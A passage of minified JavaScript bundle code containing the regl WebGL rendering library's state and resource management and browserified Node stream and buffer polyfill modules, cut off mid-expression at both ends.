("stencil.mask","stencilMask",-1),Ne("stencil.func","stencilFunc",[519,0,-1]),Ne("stencil.opFront","stencilOpSeparate",[1028,7680,7680,7680]),Ne("stencil.opBack","stencilOpSeparate",[1029,7680,7680,7680]),Ue("scissor.enable",3089),Ne("scissor.box","scissor",[0,0,ct.drawingBufferWidth,ct.drawingBufferHeight]),Ne("viewport","viewport",[0,0,ct.drawingBufferWidth,ct.drawingBufferHeight]);var Jn={gl:ct,context:zt,strings:Vt,next:kn,current:un,draw:Pt,elements:nt,buffer:sr,shader:mt,attributes:wt.state,vao:wt,uniforms:gt,framebuffer:vt,extensions:Ut,timer:Xt,isBufferArgs:W},ba={primTypes:Ze,compareFuncs:Ft,blendFuncs:_t,blendEquations:ea,stencilOps:Tt,glTypes:Oe,orientationType:Gt};qr&&(ba.backBuffer=[1029],ba.drawBuffer=f(dr.maxDrawbuffers,function(Ht){return Ht===0?[0]:f(Ht,function(pr){return 36064+pr})}));var Fa=0;return{next:kn,current:un,procs:function(){var Ht=Et(),pr=Ht.proc("poll"),$r=Ht.proc("refresh"),on=Ht.block();pr(on),$r(on);var Ar=Ht.shared,sn=Ar.gl,Tn=Ar.next,pn=Ar.current;on(pn,".dirty=false;"),Cr(Ht,pr),Cr(Ht,$r,null,!0);var nn;mr&&(nn=Ht.link(mr)),Ut.oes_vertex_array_object&&$r(Ht.link(Ut.oes_vertex_array_object),".bindVertexArrayOES(null);");var Ar=$r.def(Ar.attributes),br=$r.def(0),Lr=Ht.cond(br,".buffer");Lr.then(sn,".enableVertexAttribArray(i);",sn,".bindBuffer(",34962,",",br,".buffer.buffer);",sn,".vertexAttribPointer(i,",br,".size,",br,".type,",br,".normalized,",br,".stride,",br,".offset);").else(sn,".disableVertexAttribArray(i);",sn,".vertexAttrib4f(i,",br,".x,",br,".y,",br,".z,",br,".w);",br,".buffer=null;");var ln=Ht.link(dr.maxAttributes,{stable:!0});return $r("for(var i=0;i<",ln,";++i){",br,"=",Ar,"[i];",Lr,"}"),mr&&$r("for(var i=0;i<",ln,";++i){",nn,".vertexAttribDivisorANGLE(i,",Ar,"[i].divisor);","}"),$r(Ht.shared.vao,".currentVAO=null;",Ht.shared.vao,".setVAO(",Ht.shared.vao,".targetVAO);"),Object.keys(wn).forEach(function(Ln){var On=wn[Ln],fn=on.def(Tn,".",Ln),Rn=Ht.block();Rn("if(",fn,"){",sn,".enable(",On,")}else{",sn,".disable(",On,")}",pn,".",Ln,"=",fn,";"),$r(Rn),pr("if(",fn,"!==",pn,".",Ln,"){",Rn,"}")}),Object.keys(zn).forEach(function(Ln){var On=zn[Ln],fn=un[Ln],Rn,Zn,ta=Ht.block();ta(sn,".",On,"("),w(fn)?(On=fn.length,Rn=Ht.global.def(Tn,".",Ln),Zn=Ht.global.def(pn,".",Ln),ta(f(On,function(Qn){return Rn+"["+Qn+"]"}),");",f(On,function(Qn){return Zn+"["+Qn+"]="+Rn+"["+Qn+"];"}).join("")),pr("if(",f(On,function(Qn){return Rn+"["+Qn+"]!=="+Zn+"["+Qn+"]"}).join("||"),"){",ta,"}")):(Rn=on.def(Tn,".",Ln),Zn=on.def(pn,".",Ln),ta(Rn,");",pn,".",Ln,"=",Rn,";"),pr("if(",Rn,"!==",Zn,"){",ta,"}")),$r(ta)}),Ht.compile()}(),compile:function(Ht,pr,$r,on,sn){var Tn=Et();Tn.stats=Tn.link(sn),Object.keys(pr.static).forEach(function(nn){qn(Tn,pr,nn)}),St.forEach(function(nn){qn(Tn,Ht,nn)});var pn=Nr(Ht,pr,$r,on,Tn);return pn.shader.program&&(pn.shader.program.attributes.sort(function(nn,Ar){return nn.name<Ar.name?-1:1}),pn.shader.program.uniforms.sort(function(nn,Ar){return nn.name<Ar.name?-1:1})),an(Tn,pn),Hn(Tn,pn),En(Tn,pn),re(Tn.compile(),{destroy:function(){pn.shader.program.destroy()}})}}}function oe(ct,Vt){for(var Ut=0;Ut<ct.length;++Ut)if(ct[Ut]===Vt)return Ut;return-1}var re=function(ct,Vt){for(var Ut=Object.keys(Vt),dr=0;dr<Ut.length;++dr)ct[Ut[dr]]=Vt[Ut[dr]];return ct},le=0,pe={DynamicVariable:Z,define:function(ct,Vt){return new Z(ct,M(Vt+""))},isDynamic:function(ct){return typeof ct=="function"&&!ct._reglType||ct instanceof Z},unbox:P,accessor:M},we={next:typeof requestAnimationFrame=="function"?function(ct){return requestAnimationFrame(ct)}:function(ct){return setTimeout(ct,16)},cancel:typeof cancelAnimationFrame=="function"?function(ct){return cancelAnimationFrame(ct)}:clearTimeout},xe=typeof performance<"u"&&performance.now?function(){return performance.now()}:function(){return+new Date},ke=l();ke.zero=l();var _e=function(ct,Vt){var Ut=1;Vt.ext_texture_filter_anisotropic&&(Ut=ct.getParameter(34047));var dr=1,sr=1;Vt.webgl_draw_buffers&&(dr=ct.getParameter(34852),sr=ct.getParameter(36063));var nt=!!Vt.oes_texture_float;if(nt){nt=ct.createTexture(),ct.bindTexture(3553,nt),ct.texImage2D(3553,0,6408,1,1,0,6408,5126,null);var rt=ct.createFramebuffer();if(ct.bindFramebuffer(36160,rt),ct.framebufferTexture2D(36160,36064,3553,nt,0),ct.bindTexture(3553,null),ct.checkFramebufferStatus(36160)!==36053)nt=!1;else{ct.viewport(0,0,1,1),ct.clearColor(1,0,0,1),ct.clear(16384);var vt=ke.allocType(5126,4);ct.readPixels(0,0,1,1,6408,5126,vt),ct.getError()?nt=!1:(ct.deleteFramebuffer(rt),ct.deleteTexture(nt),nt=vt[0]===1),ke.freeType(vt)}}return vt=!0,typeof navigator<"u"&&(/MSIE/.test(navigator.userAgent)||/Trident\//.test(navigator.appVersion)||/Edge/.test(navigator.userAgent))||(vt=ct.createTexture(),rt=ke.allocType(5121,36),ct.activeTexture(33984),ct.bindTexture(34067,vt),ct.texImage2D(34069,0,6408,3,3,0,6408,5121,rt),ke.freeType(rt),ct.bindTexture(34067,null),ct.deleteTexture(vt),vt=!ct.getError()),{colorBits:[ct.getParameter(3410),ct.getParameter(3411),ct.getParameter(3412),ct.getParameter(3413)],depthBits:ct.getParameter(3414),stencilBits:ct.getParameter(3415),subpixelBits:ct.getParameter(3408),extensions:Object.keys(Vt).filter(function(gt){return!!Vt[gt]}),maxAnisotropic:Ut,maxDrawbuffers:dr,maxColorAttachments:sr,pointSizeDims:ct.getParameter(33901),lineWidthDims:ct.getParameter(33902),maxViewportDims:ct.getParameter(3386),maxCombinedTextureUnits:ct.getParameter(35661),maxCubeMapSize:ct.getParameter(34076),maxRenderbufferSize:ct.getParameter(34024),maxTextureUnits:ct.getParameter(34930),maxTextureSize:ct.getParameter(3379),maxAttributes:ct.getParameter(34921),maxVertexUniforms:ct.getParameter(36347),maxVertexTextureUnits:ct.getParameter(35660),maxVaryingVectors:ct.getParameter(36348),maxFragmentUniforms:ct.getParameter(36349),glsl:ct.getParameter(35724),renderer:ct.getParameter(7937),vendor:ct.getParameter(7936),version:ct.getParameter(7938),readFloat:nt,npotTextureCube:vt}},be=function(ct){return ct instanceof Uint8Array||ct instanceof Uint16Array||ct instanceof Uint32Array||ct instanceof Int8Array||ct instanceof Int16Array||ct instanceof Int32Array||ct instanceof Float32Array||ct instanceof Float64Array||ct instanceof Uint8ClampedArray},ge=function(ct){return Object.keys(ct).map(function(Vt){return ct[Vt]})},Te={shape:function(ct){for(var Vt=[];ct.length;ct=ct[0])Vt.push(ct.length);return Vt},flatten:function(ct,Vt,Ut,dr){var sr=1;if(Vt.length)for(var nt=0;nt<Vt.length;++nt)sr*=Vt[nt];else sr=0;switch(Ut=dr||ke.allocType(Ut,sr),Vt.length){case 0:break;case 1:for(dr=Vt[0],Vt=0;Vt<dr;++Vt)Ut[Vt]=ct[Vt];break;case 2:for(dr=Vt[0],Vt=Vt[1],nt=sr=0;nt<dr;++nt)for(var rt=ct[nt],vt=0;vt<Vt;++vt)Ut[sr++]=rt[vt];break;case 3:s(ct,Vt[0],Vt[1],Vt[2],Ut,0);break;default:y(ct,Vt,0,Ut,0)}return Ut}},Fe={"[object Int8Array]":5120,"[object Int16Array]":5122,"[object Int32Array]":5124,"[object Uint8Array]":5121,"[object Uint8ClampedArray]":5121,"[object Uint16Array]":5123,"[object Uint32Array]":5125,"[object Float32Array]":5126,"[object Float64Array]":5121,"[object ArrayBuffer]":5121},Oe={int8:5120,int16:5122,int32:5124,uint8:5121,uint16:5123,uint32:5125,float:5126,float32:5126},Ce={dynamic:35048,stream:35040,static:35044},Be=Te.flatten,$e=Te.shape,Xe=[];Xe[5120]=1,Xe[5122]=2,Xe[5124]=4,Xe[5121]=1,Xe[5123]=2,Xe[5125]=4,Xe[5126]=4;var Ze={points:0,point:0,lines:1,line:1,triangles:4,triangle:4,"line loop":2,"line strip":3,"triangle strip":5,"triangle fan":6},Ke=new Float32Array(1),st=new Uint32Array(Ke.buffer),lt=[9984,9986,9985,9987],ut=[0,6409,6410,6407,6408],yt={};yt[6409]=yt[6406]=yt[6402]=1,yt[34041]=yt[6410]=2,yt[6407]=yt[35904]=3,yt[6408]=yt[35906]=4;var bt=E("HTMLCanvasElement"),Ot=E("OffscreenCanvas"),Ge=E("CanvasRenderingContext2D"),Le=E("ImageBitmap"),Pe=E("HTMLImageElement"),De=E("HTMLVideoElement"),Ee=Object.keys(Fe).concat([bt,Ot,Ge,Le,Pe,De]),ye=[];ye[5121]=1,ye[5126]=4,ye[36193]=2,ye[5123]=2,ye[5125]=4;var ae=[];ae[32854]=2,ae[32855]=2,ae[36194]=2,ae[34041]=4,ae[33776]=.5,ae[33777]=.5,ae[33778]=1,ae[33779]=1,ae[35986]=.5,ae[35987]=1,ae[34798]=1,ae[35840]=.5,ae[35841]=.25,ae[35842]=.5,ae[35843]=.25,ae[36196]=.5;var de=[];de[32854]=2,de[32855]=2,de[36194]=2,de[33189]=2,de[36168]=1,de[34041]=4,de[35907]=4,de[34836]=16,de[34842]=8,de[34843]=6;var Me=function(ct,Vt,Ut,dr,sr){function nt(Pt){this.id=wt++,this.refCount=1,this.renderbuffer=Pt,this.format=32854,this.height=this.width=0,sr.profile&&(this.stats={size:0})}function rt(Pt){var zt=Pt.renderbuffer;ct.bindRenderbuffer(36161,null),ct.deleteRenderbuffer(zt),Pt.renderbuffer=null,Pt.refCount=0,delete mt[Pt.id],dr.renderbufferCount--}var vt={rgba4:32854,rgb565:36194,"rgb5 a1":32855,depth:33189,stencil:36168,"depth stencil":34041};Vt.ext_srgb&&(vt.srgba=35907),Vt.ext_color_buffer_half_float&&(vt.rgba16f=34842,vt.rgb16f=34843),Vt.webgl_color_buffer_float&&(vt.rgba32f=34836);var gt=[];Object.keys(vt).forEach(function(Pt){gt[vt[Pt]]=Pt});var wt=0,mt={};return nt.prototype.decRef=function(){0>=--this.refCount&&rt(this)},sr.profile&&(dr.getTotalRenderbufferSize=function(){var Pt=0;return Object.keys(mt).forEach(function(zt){Pt+=mt[zt].stats.size}),Pt}),{create:function(Pt,zt){function Xt($t,yr){var Ue=0,Ne=0,Et=32854;if(typeof $t=="object"&&$t?("shape"in $t?(Ne=$t.shape,Ue=Ne[0]|0,Ne=Ne[1]|0):("radius"in $t&&(Ue=Ne=$t.radius|0),"width"in $t&&(Ue=$t.width|0),"height"in $t&&(Ne=$t.height|0)),"format"in $t&&(Et=vt[$t.format])):typeof $t=="number"?(Ue=$t|0,Ne=typeof yr=="number"?yr|0:Ue):$t||(Ue=Ne=1),Ue!==Yt.width||Ne!==Yt.height||Et!==Yt.format)return Xt.width=Yt.width=Ue,Xt.height=Yt.height=Ne,Yt.format=Et,ct.bindRenderbuffer(36161,Yt.renderbuffer),ct.renderbufferStorage(36161,Et,Ue,Ne),sr.profile&&(Yt.stats.size=de[Yt.format]*Yt.width*Yt.height),Xt.format=gt[Yt.format],Xt}var Yt=new nt(ct.createRenderbuffer());return mt[Yt.id]=Yt,dr.renderbufferCount++,Xt(Pt,zt),Xt.resize=function($t,yr){var Ue=$t|0,Ne=yr|0||Ue;return Ue===Yt.width&&Ne===Yt.height||(Xt.width=Yt.width=Ue,Xt.height=Yt.height=Ne,ct.bindRenderbuffer(36161,Yt.renderbuffer),ct.renderbufferStorage(36161,Yt.format,Ue,Ne),sr.profile&&(Yt.stats.size=de[Yt.format]*Yt.width*Yt.height)),Xt},Xt._reglType="renderbuffer",Xt._renderbuffer=Yt,sr.profile&&(Xt.stats=Yt.stats),Xt.destroy=function(){Yt.decRef()},Xt},clear:function(){ge(mt).forEach(rt)},restore:function(){ge(mt).forEach(function(Pt){Pt.renderbuffer=ct.createRenderbuffer(),ct.bindRenderbuffer(36161,Pt.renderbuffer),ct.renderbufferStorage(36161,Pt.format,Pt.width,Pt.height)}),ct.bindRenderbuffer(36161,null)}}},Ie=[];Ie[6408]=4,Ie[6407]=3;var Qe=[];Qe[5121]=1,Qe[5126]=4,Qe[36193]=2;var et=[1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998],pt=["x","y","z","w"],St="blend.func blend.equation stencil.func stencil.opFront stencil.opBack sample.coverage viewport scissor.box polygonOffset.offset".split(" "),_t={0:0,1:1,zero:0,one:1,"src color":768,"one minus src color":769,"src alpha":770,"one minus src alpha":771,"dst color":774,"one minus dst color":775,"dst alpha":772,"one minus dst alpha":773,"constant color":32769,"one minus constant color":32770,"constant alpha":32771,"one minus constant alpha":32772,"src alpha saturate":776},Ft={never:512,less:513,"<":513,equal:514,"=":514,"==":514,"===":514,lequal:515,"<=":515,greater:516,">":516,notequal:517,"!=":517,"!==":517,gequal:518,">=":518,always:519},Tt={0:0,zero:0,keep:7680,replace:7681,increment:7682,decrement:7683,"increment wrap":34055,"decrement wrap":34056,invert:5386},Gt={cw:2304,ccw:2305},er=new Y(!1,!1,!1,function(){}),Pr=function(ct,Vt){function Ut(){this.endQueryIndex=this.startQueryIndex=-1,this.sum=0,this.stats=null}function dr(mt,Pt,zt){var Xt=rt.pop()||new Ut;Xt.startQueryIndex=mt,Xt.endQueryIndex=Pt,Xt.sum=0,Xt.stats=zt,vt.push(Xt)}if(!Vt.ext_disjoint_timer_query)return null;var sr=[],nt=[],rt=[],vt=[],gt=[],wt=[];return{beginQuery:function(mt){var Pt=sr.pop()||Vt.ext_disjoint_timer_query.createQueryEXT();Vt.ext_disjoint_timer_query.beginQueryEXT(35007,Pt),nt.push(Pt),dr(nt.length-1,nt.length,mt)},endQuery:function(){Vt.ext_disjoint_timer_query.endQueryEXT(35007)},pushScopeStats:dr,update:function(){var mt,Pt;if(mt=nt.length,mt!==0){wt.length=Math.max(wt.length,mt+1),gt.length=Math.max(gt.length,mt+1),gt[0]=0;var zt=wt[0]=0;for(Pt=mt=0;Pt<nt.length;++Pt){var Xt=nt[Pt];Vt.ext_disjoint_timer_query.getQueryObjectEXT(Xt,34919)?(zt+=Vt.ext_disjoint_timer_query.getQueryObjectEXT(Xt,34918),sr.push(Xt)):nt[mt++]=Xt,gt[Pt+1]=zt,wt[Pt+1]=mt}for(nt.length=mt,Pt=mt=0;Pt<vt.length;++Pt){var zt=vt[Pt],Yt=zt.startQueryIndex,Xt=zt.endQueryIndex;zt.sum+=gt[Xt]-gt[Yt],Yt=wt[Yt],Xt=wt[Xt],Xt===Yt?(zt.stats.gpuTime+=zt.sum/1e6,rt.push(zt)):(zt.startQueryIndex=Yt,zt.endQueryIndex=Xt,vt[mt++]=zt)}vt.length=mt}},getNumPendingQueries:function(){return nt.length},clear:function(){sr.push.apply(sr,nt);for(var mt=0;mt<sr.length;mt++)Vt.ext_disjoint_timer_query.deleteQueryEXT(sr[mt]);nt.length=0,sr.length=0},restore:function(){nt.length=0,sr.length=0}}};return function(ct){function Vt(){if(Sn.length===0)Et&&Et.update(),Ir=null;else{Ir=we.next(Vt),mt();for(var an=Sn.length-1;0<=an;--an){var tn=Sn[an];tn&&tn(rr,null,0)}Xt.flush(),Et&&Et.update()}}function Ut(){!Ir&&0<Sn.length&&(Ir=we.next(Vt))}function dr(){Ir&&(we.cancel(Vt),Ir=null)}function sr(an){an.preventDefault(),dr(),nr.forEach(function(tn){tn()})}function nt(an){Xt.getError(),$t.restore(),fr.restore(),It.restore(),lr.restore(),Nr.restore(),Rr.restore(),ur.restore(),Et&&Et.restore(),Cr.procs.refresh(),Ut(),Sr.forEach(function(tn){tn()})}function rt(an){function tn(un,kn){var bn={},wn={};return Object.keys(un).forEach(function(zn){var Jn=un[zn];if(pe.isDynamic(Jn))wn[zn]=pe.unbox(Jn,zn);else{if(kn&&Array.isArray(Jn)){for(var ba=0;ba<Jn.length;++ba)if(pe.isDynamic(Jn[ba])){wn[zn]=pe.unbox(Jn,zn);return}}bn[zn]=Jn}}),{dynamic:wn,static:bn}}function gn(un){for(;Qr.length<un;)Qr.push(null);return Qr}var En=tn(an.context||{},!0),Hn=tn(an.uniforms||{},!0),Xn=tn(an.attributes||{},!1);an=tn(function(un){function kn(wn){if(wn in bn){var zn=bn[wn];delete bn[wn],Object.keys(zn).forEach(function(Jn){bn[wn+"."+Jn]=zn[Jn]})}}var bn=re({},un);return delete bn.uniforms,delete bn.attributes,delete bn.context,delete bn.vao,"stencil"in bn&&bn.stencil.op&&(bn.stencil.opBack=bn.stencil.opFront=bn.stencil.op,delete bn.stencil.op),kn("blend"),kn("depth"),kn("cull"),kn("stencil"),kn("polygonOffset"),kn("scissor"),kn("sample"),"vao"in un&&(bn.vao=un.vao),bn}(an),!1);var qn={gpuTime:0,cpuTime:0,count:0},Wn=Cr.compile(an,Xn,Hn,En,qn),ea=Wn.draw,mr=Wn.batch,qr=Wn.scope,Qr=[];return re(function(un,kn){var bn;if(typeof un=="function")return qr.call(this,null,un,0);if(typeof kn=="function")if(typeof un=="number")for(bn=0;bn<un;++bn)qr.call(this,null,kn,bn);else if(Array.isArray(un))for(bn=0;bn<un.length;++bn)qr.call(this,un[bn],kn,bn);else return qr.call(this,un,kn,0);else if(typeof un=="number"){if(0<un)return mr.call(this,gn(un|0),un|0)}else if(Array.isArray(un)){if(un.length)return mr.call(this,un,un.length)}else return ea.call(this,un)},{stats:qn,destroy:function(){Wn.destroy()}})}function vt(an,tn){var gn=0;Cr.procs.poll();var En=tn.color;En&&(Xt.clearColor(+En[0]||0,+En[1]||0,+En[2]||0,+En[3]||0),gn|=16384),"depth"in tn&&(Xt.clearDepth(+tn.depth),gn|=256),"stencil"in tn&&(Xt.clearStencil(tn.stencil|0),gn|=1024),Xt.clear(gn)}function gt(an){return Sn.push(an),Ut(),{cancel:function(){function tn(){var En=oe(Sn,tn);Sn[En]=Sn[Sn.length-1],--Sn.length,0>=Sn.length&&dr()}var gn=oe(Sn,an);Sn[gn]=tn}}}function wt(){var an=Ur.viewport,tn=Ur.scissor_box;an[0]=an[1]=tn[0]=tn[1]=0,rr.viewportWidth=rr.framebufferWidth=rr.drawingBufferWidth=an[2]=tn[2]=Xt.drawingBufferWidth,rr.viewportHeight=rr.framebufferHeight=rr.drawingBufferHeight=an[3]=tn[3]=Xt.drawingBufferHeight}function mt(){rr.tick+=1,rr.time=zt(),wt(),Cr.procs.poll()}function Pt(){lr.refresh(),wt(),Cr.procs.refresh(),Et&&Et.update()}function zt(){return(xe()-Lt)/1e3}if(ct=t(ct),!ct)return null;var Xt=ct.gl,Yt=Xt.getContextAttributes();Xt.isContextLost();var $t=r(Xt,ct);if(!$t)return null;var vn=o(),yr={vaoCount:0,bufferCount:0,elementsCount:0,framebufferCount:0,shaderCount:0,textureCount:0,cubeCount:0,renderbufferCount:0,maxTextureUnits:0},Ue=ct.cachedCode||{},Ne=$t.extensions,Et=Pr(Xt,Ne),Lt=xe(),tr=Xt.drawingBufferWidth,Nt=Xt.drawingBufferHeight,rr={tick:0,time:0,viewportWidth:tr,viewportHeight:Nt,framebufferWidth:tr,framebufferHeight:Nt,drawingBufferWidth:tr,drawingBufferHeight:Nt,pixelRatio:ct.pixelRatio},tr={elements:null,primitive:4,count:-1,offset:0,instances:-1},Jt=_e(Xt,Ne),It=i(Xt,yr,ct,function(an){return ur.destroyBuffer(an)}),or=v(Xt,Ne,It,yr),ur=_(Xt,Ne,Jt,yr,It,or,tr),fr=F(Xt,vn,yr,ct),lr=I(Xt,Ne,Jt,function(){Cr.procs.poll()},rr,yr,ct),Nr=Me(Xt,Ne,Jt,yr,ct),Rr=k(Xt,Ne,Jt,lr,Nr,yr),Cr=K(Xt,vn,Ne,Jt,It,or,lr,Rr,{},ur,fr,tr,rr,Et,Ue,ct),vn=O(Xt,Rr,Cr.procs.poll,rr),Ur=Cr.next,Mn=Xt.canvas,Sn=[],nr=[],Sr=[],Dr=[ct.onDestroy],Ir=null;Mn&&(Mn.addEventListener("webglcontextlost",sr,!1),Mn.addEventListener("webglcontextrestored",nt,!1));var Xr=Rr.setFBO=rt({framebuffer:pe.define.call(null,1,"framebuffer")});return Pt(),Yt=re(rt,{clear:function(an){if("framebuffer"in an)if(an.framebuffer&&an.framebuffer_reglType==="framebufferCube")for(var tn=0;6>tn;++tn)Xr(re({framebuffer:an.framebuffer.faces[tn]},an),vt);else Xr(an,vt);else vt(null,an)},prop:pe.define.bind(null,1),context:pe.define.bind(null,2),this:pe.define.bind(null,3),draw:rt({}),buffer:function(an){return It.create(an,34962,!1,!1)},elements:function(an){return or.create(an,!1)},texture:lr.create2D,cube:lr.createCube,renderbuffer:Nr.create,framebuffer:Rr.create,framebufferCube:Rr.createCube,vao:ur.createVAO,attributes:Yt,frame:gt,on:function(an,tn){var gn;switch(an){case"frame":return gt(tn);case"lost":gn=nr;break;case"restore":gn=Sr;break;case"destroy":gn=Dr}return gn.push(tn),{cancel:function(){for(var En=0;En<gn.length;++En)if(gn[En]===tn){gn[En]=gn[gn.length-1],gn.pop();break}}}},limits:Jt,hasExtension:function(an){return 0<=Jt.extensions.indexOf(an.toLowerCase())},read:vn,destroy:function(){Sn.length=0,dr(),Mn&&(Mn.removeEventListener("webglcontextlost",sr),Mn.removeEventListener("webglcontextrestored",nt)),fr.clear(),Rr.clear(),Nr.clear(),ur.clear(),lr.clear(),or.clear(),It.clear(),Et&&Et.clear(),Dr.forEach(function(an){an()})},_gl:Xt,_refresh:Pt,poll:function(){mt(),Et&&Et.update()},now:zt,stats:yr,getCachedCode:function(){return Ue},preloadCachedCode:function(an){Object.entries(an).forEach(function(tn){Ue[tn[0]]=tn[1]})}}),ct.onDone(null,Yt),Yt}})},71665:function(te,Z,e){var M=e(12856),P=M.Buffer;function o(S,d){for(var g in S)d[g]=S[g]}P.from&&P.alloc&&P.allocUnsafe&&P.allocUnsafeSlow?te.exports=M:(o(M,Z),Z.Buffer=L);function L(S,d,g){return P(S,d,g)}L.prototype=Object.create(P.prototype),o(P,L),L.from=function(S,d,g){if(typeof S=="number")throw new TypeError("Argument must not be a number");return P(S,d,g)},L.alloc=function(S,d,g){if(typeof S!="number")throw new TypeError("Argument must be a number");var t=P(S);return d!==void 0?typeof g=="string"?t.fill(d,g):t.fill(d):t.fill(0),t},L.allocUnsafe=function(S){if(typeof S!="number")throw new TypeError("Argument must be a number");return P(S)},L.allocUnsafeSlow=function(S){if(typeof S!="number")throw new TypeError("Argument must be a number");return M.SlowBuffer(S)}},21630:function(te,Z,e){te.exports=o;var M=e(15398).EventEmitter,P=e(42018);P(o,M),o.Readable=e(40410),o.Writable=e(37493),o.Duplex=e(37865),o.Transform=e(74308),o.PassThrough=e(66897),o.finished=e(12726),o.pipeline=e(10168),o.Stream=o;function o(){M.call(this)}o.prototype.pipe=function(L,S){var d=this;function g(s){L.writable&&L.write(s)===!1&&d.pause&&d.pause()}d.on("data",g);function t(){d.readable&&d.resume&&d.resume()}L.on("drain",t),!L._isStdio&&(!S||S.end!==!1)&&(d.on("end",f),d.on("close",a));var r=!1;function f(){r||(r=!0,L.end())}function a(){r||(r=!0,typeof L.destroy=="function"&&L.destroy())}function l(s){if(u(),M.listenerCount(this,"error")===0)throw s}d.on("error",l),L.on("error",l);function u(){d.removeListener("data",g),L.removeListener("drain",t),d.removeListener("end",f),d.removeListener("close",a),d.removeListener("error",l),L.removeListener("error",l),d.removeListener("end",u),d.removeListener("close",u),L.removeListener("close",u)}return d.on("end",u),d.on("close",u),L.on("close",u),L.emit("pipe",d),L}},74322:function(te){function Z(d,g){d.prototype=Object.create(g.prototype),d.prototype.constructor=d,d.__proto__=g}var e={};function M(d,g,t){t||(t=Error);function r(a,l,u){return typeof g=="string"?g:g(a,l,u)}var f=function(a){Z(l,a);function l(u,s,y){return a.call(this,r(u,s,y))||this}return l}(t);f.prototype.name=t.name,f.prototype.code=d,e[d]=f}function P(d,g){if(Array.isArray(d)){var t=d.length;return d=d.map(function(r){return String(r)}),t>2?"one of ".concat(g," ").concat(d.slice(0,t-1).join(", "),", or ")+d[t-1]:t===2?"one of ".concat(g," ").concat(d[0]," or ").concat(d[1]):"of ".concat(g," ").concat(d[0])}else return"of ".concat(g," ").concat(String(d))}function o(d,g,t){return d.substr(0,g.length)===g}function L(d,g,t){return(t===void 0||t>d.length)&&(t=d.length),d.substring(t-g.length,t)===g}function S(d,g,t){return typeof t!="number"&&(t=0),t+g.length>d.length?!1:d.indexOf(g,t)!==-1}M("ERR_INVALID_OPT_VALUE",function(d,g){return'The value "'+g+'" is invalid for option "'+d+'"'},TypeError),M("ERR_INVALID_ARG_TYPE",function(d,g,t){var r;typeof g=="string"&&o(g,"not ")?(r="must not be",g=g.replace(/^not /,"")):r="must be";var f;if(L(d," argument"))f="The ".concat(d," ").concat(r," ").concat(P(g,"type"));else{var a=S(d,".")?"property":"argument";f='The "'.concat(d,'" ').concat(a," ").concat(r," ").concat(P(g,"type"))}return f+=". Received type ".concat(typeof t),f},TypeError),M("ERR_STREAM_PUSH_AFTER_EOF","stream.push() after EOF"),M("ERR_METHOD_NOT_IMPLEMENTED",function(d){return"The "+d+" method is not implemented"}),M("ERR_STREAM_PREMATURE_CLOSE","Premature close"),M("ERR_STREAM_DESTROYED",function(d){return"Cannot call "+d+" after a stream was destroyed"}),M("ERR_MULTIPLE_CALLBACK","Callback called multiple times"),M("ERR_STREAM_CANNOT_PIPE","Cannot pipe, not readable"),M("ERR_STREAM_WRITE_AFTER_END","write after end"),M("ERR_STREAM_NULL_VALUES","May not write null values to stream",TypeError),M("ERR_UNKNOWN_ENCODING",function(d){return"Unknown encoding: "+d},TypeError),M("ERR_STREAM_UNSHIFT_AFTER_END_EVENT","stream.unshift() after end event"),te.exports.q=e},37865:function(te,Z,e){var M=e(90386),P=Object.keys||function(a){var l=[];for(var u in a)l.push(u);return l};te.exports=t;var o=e(40410),L=e(37493);e(42018)(t,o);for(var S=P(L.prototype),d=0;d<S.length;d++){var g=S[d];t.prototype[g]||(t.prototype[g]=L.prototype[g])}function t(a){if(!(this instanceof t))return new t(a);o.call(this,a),L.call(this,a),this.allowHalfOpen=!0,a&&(a.readable===!1&&(this.readable=!1),a.writable===!1&&(this.writable=!1),a.allowHalfOpen===!1&&(this.allowHalfOpen=!1,this.once("end",r)))}Object.defineProperty(t.prototype,"writableHighWaterMark",{enumerable:!1,get:function(){return this._writableState.highWaterMark}}),Object.defineProperty(t.prototype,"writableBuffer",{enumerable:!1,get:function(){return this._writableState&&this._writableState.getBuffer()}}),Object.defineProperty(t.prototype,"writableLength",{enumerable:!1,get:function(){return this._writableState.length}});function r(){this._writableState.ended||M.nextTick(f,this)}function f(a){a.end()}Object.defineProperty(t.prototype,"destroyed",{enumerable:!1,get:function(){return this._readableState===void 0||this._writableState===void 0?!1:this._readableState.destroyed&&this._writableState.destroyed},set:function(l){this._readableState===void 0||this._writableState===void 0||(this._readableState.destroyed=l,this._writableState.destroyed=l)}})},66897:function(te,Z,e){te.exports=P;var M=e(74308);e(42018)(P,M);function P(o){if(!(this instanceof P))return new P(o);M.call(this,o)}P.prototype._transform=function(o,L,S){S(null,o)}},40410:function(te,Z,e){var M=e(90386);te.exports=n;var P;n.ReadableState=m,e(15398).EventEmitter;var o=function(K,oe){return K.listeners(oe).length},L=e(71405),S=e(12856).Buffer,d=e.g.Uint8Array||function(){};function g(j){return S.from(j)}function t(j){return S.isBuffer(j)||j instanceof d}var r=e(40964),f;r&&r.debuglog?f=r.debuglog("stream"):f=function(){};var a=e(31125),l=e(65756),u=e(56306),s=u.getHighWaterMark,y=e(74322).q,c=y.ERR_INVALID_ARG_TYPE,b=y.ERR_STREAM_PUSH_AFTER_EOF,h=y.ERR_METHOD_NOT_IMPLEMENTED,i=y.ERR_STREAM_UNSHIFT_AFTER_END_EVENT,v,T,w;e(42018)(n,L);var E=l.errorOrDestroy,p=["error","close","destroy","pause","resume"];function A(j,K,oe){if(typeof j.prependListener=="function")return j.prependListener(K,oe);!j._events||!j._events[K]?j.on(K,oe):Array.isArray(j._events[K])?j._events[K].unshift(oe):j._events[K]=[oe,j._events[K]]}function m(j,K,oe){P=P||e(37865),j=j||{},typeof oe!="boolean"&&(oe=K instanceof P),this.objectMode=!!j.objectMode,oe&&(this.objectMode=this.objectMode||!!j.readableObjectMode),this.highWaterMark=s(this,j,"readableHighWaterMark",oe),this.buffer=new 